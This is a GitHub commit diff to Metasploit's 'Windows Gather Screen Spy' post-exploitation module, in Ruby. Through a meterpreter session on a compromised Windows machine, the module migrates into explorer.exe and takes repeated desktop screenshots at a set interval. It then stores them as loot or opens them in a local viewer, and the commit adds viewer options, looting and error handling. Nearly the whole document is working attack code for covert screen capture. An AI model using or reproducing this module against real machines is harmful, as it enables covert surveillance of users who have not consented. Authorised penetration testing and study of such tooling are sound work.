Permalink
Browse files

Merge branch 'bug/fix_screenspy' of github.com:kernelsmith/metasploit…

…-framework into kernelsmith-bug/fix_screenspy
  • Loading branch information...
2 parents 38af8ba + 8a91f0d commit 3334257aa40ed8412d5622127a34c83f57ec487b @sinn3r sinn3r committed Feb 26, 2013
Showing with 66 additions and 33 deletions.
  1. +66 −33 modules/post/windows/gather/screen_spy.rb
@@ -13,34 +13,39 @@ def initialize(info={})
super( update_info(info,
'Name' => 'Windows Gather Screen Spy',
'Description' => %q{
- This module will incrementally take screenshots of the meterpreter host. This
+ This module will incrementally take desktop screenshots from the host. This
allows for screen spying which can be useful to determine if there is an active
user on a machine, or to record the screen for later data extraction.
+ NOTES: set VIEW_CMD to control how screenshots are opened/displayed, the file name
+ will be appended directly on to the end of the value of VIEW_CMD (use 'auto' to
+ have the module do it's best...default browser for Windows, firefox for *nix, and
+ preview app for macs). 'eog -s -f -w' is a handy VIEW_CMD for *nix. To suppress
+ opening of screenshots all together, set the VIEW_CMD option to 'none'.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Roni Bachar <roni.bachar.blog[at]gmail.com>', # original meterpreter script
'bannedit', # post module
- 'kernelsmith <kernelsmith /x40 kernelsmith /x2E com>', # record support
+ 'kernelsmith <kernelsmith /x40 kernelsmith /x2E com>', # record/loot support,log x approach, nx
'Adrian Kubok' # better record file names
],
- 'Platform' => ['win'],
+ 'Platform' => ['win'], # @todo add support for posix meterpreter somehow?
'SessionTypes' => ['meterpreter']
))
register_options(
[
- OptInt.new('DELAY', [false, 'Interval between screenshots in seconds', 5]),
- OptInt.new('COUNT', [false, 'Number of screenshots to collect', 60]),
- OptString.new('BROWSER', [false, 'Browser to use for viewing screenshots', 'firefox']),
- OptBool.new('RECORD', [false, 'Record all screenshots to disk',false])
+ OptInt.new('DELAY', [true, 'Interval between screenshots in seconds', 5]),
+ OptInt.new('COUNT', [true, 'Number of screenshots to collect', 6]),
+ OptString.new('VIEW_CMD', [false, 'Command to use for viewing screenshots (auto, none also accepted)', 'auto']),
+ OptBool.new('RECORD', [true, 'Record all screenshots to disk by looting them',false])
], self.class)
end
def run
host = session.session_host
- screenshot = Msf::Config.install_root + "/data/" + host + ".jpg"
+ screenshot = Msf::Config.get_config_root + "/logs/" + host + ".jpg"
migrate_explorer
if session.platform !~ /win32|win64/i
@@ -55,46 +60,73 @@ def run
return
end
- # here we check for the local platform and use default browsers
- # linux is the one question mark firefox is not necessarily a
- case ::Config::CONFIG['host'] # neat trick to get the local system platform
- when /ming/
- cmd = "start #{datastore['BROWSER']} \"file://#{screenshot}\""
- when /linux/
- cmd = "#{datastore['BROWSER']} file://#{screenshot}"
- when /apple/
- cmd = "open file://#{screenshot}" # this will use preview
+ # here we check for the local platform to determine what to do when 'auto' is selected
+ if datastore['VIEW_CMD'].downcase == 'auto'
+ case ::RbConfig::CONFIG['host_os']
+ when /mac|darwin/
+ cmd = "open file://#{screenshot}" # this will use preview usually
+ when /mswin|win|mingw/
+ cmd = "start iexplore.exe \"file://#{screenshot}\""
+ when /linux|cygwin/
+ # This opens a new tab for each screenshot, but I don't see a better way
+ cmd = "firefox file://#{screenshot} &"
+ else # bsd/sun/solaris might be different, but for now...
+ cmd = "firefox file://#{screenshot} &"
+ end
+ elsif datastore['VIEW_CMD'].downcase == 'none'
+ cmd = nil
+ else
+ cmd = "#{datastore['VIEW_CMD']}#{screenshot}"
end
begin
count = datastore['COUNT']
- print_status "Capturing %u screenshots with a delay of %u seconds" % [count, datastore['DELAY']]
+ print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds"
# calculate a sane number of leading zeros to use. log of x is ~ the number of digits
- leading_zeros = Math::log(count,10).round
+ leading_zeros = Math::log10(count).round
+ file_locations = []
count.times do |num|
select(nil, nil, nil, datastore['DELAY'])
- data = session.espia.espia_image_get_dev_screen
+ begin
+ data = session.espia.espia_image_get_dev_screen
+ rescue RequestError => e
+ print_error("Error taking the screenshot: #{e.class} #{e} #{e.backtrace}")
+ return false
+ end
if data
if datastore['RECORD']
- # let's write it to disk using non-clobbering filename
- shot = Msf::Config.install_root + "/data/" + host + ".screenshot.%0#{leading_zeros}d.jpg" % num
- ss = ::File.new(shot, 'wb')
- ss.write(data)
- ss.close
+ # let's loot it using non-clobbering filename, even tho this is the source filename, not dest
+ fn = "screenshot.%0#{leading_zeros}d.jpg" % num
+ file_locations << store_loot("screenspy.screenshot", "image/jpg", session, data, fn, "Screenshot")
end
- fd = ::File.new(screenshot, 'wb')
- fd.write(data)
- fd.close
+ # also write to disk temporarily so we can display in browser. They may or may not have been RECORDed.
+ if cmd # do this if they have not suppressed VIEW_CMD display
+ fd = ::File.new(screenshot, 'wb')
+ fd.write(data)
+ fd.close
+ end
end
- system(cmd)
+ system(cmd) if cmd
end
- rescue ::Exception => e
- print_error("Error taking screenshot: #{e.class} #{e} #{e.backtrace}")
+ rescue IOError, Errno::ENOENT => e
+ print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}")
return
end
print_status("Screen Spying Complete")
- ::File.delete(screenshot)
+ if file_locations and not file_locations.empty?
+ print_status "run loot -t screenspy.screenshot to see file locations of your newly acquired loot"
+ end
+ if cmd
+ # wait 2 secs so the last file can get opened before deletion
+ select(nil, nil, nil, 2)
+ begin
+ ::File.delete(screenshot)
+ rescue Exception => e
+ print_error("Error deleting the temporary screenshot file: #{e.class} #{e} #{e.backtrace}")
+ print_error("This may be due to the file being in use if you are on a Windows platform")
+ end
+ end
end
def migrate_explorer
@@ -105,9 +137,10 @@ def migrate_explorer
begin
session.core.migrate(p['pid'].to_i)
print_status("Migration successful")
+ return p['pid']
rescue
print_status("Migration failed.")
- return
+ return nil
end
end
end

0 comments on commit 3334257

Please sign in to comment.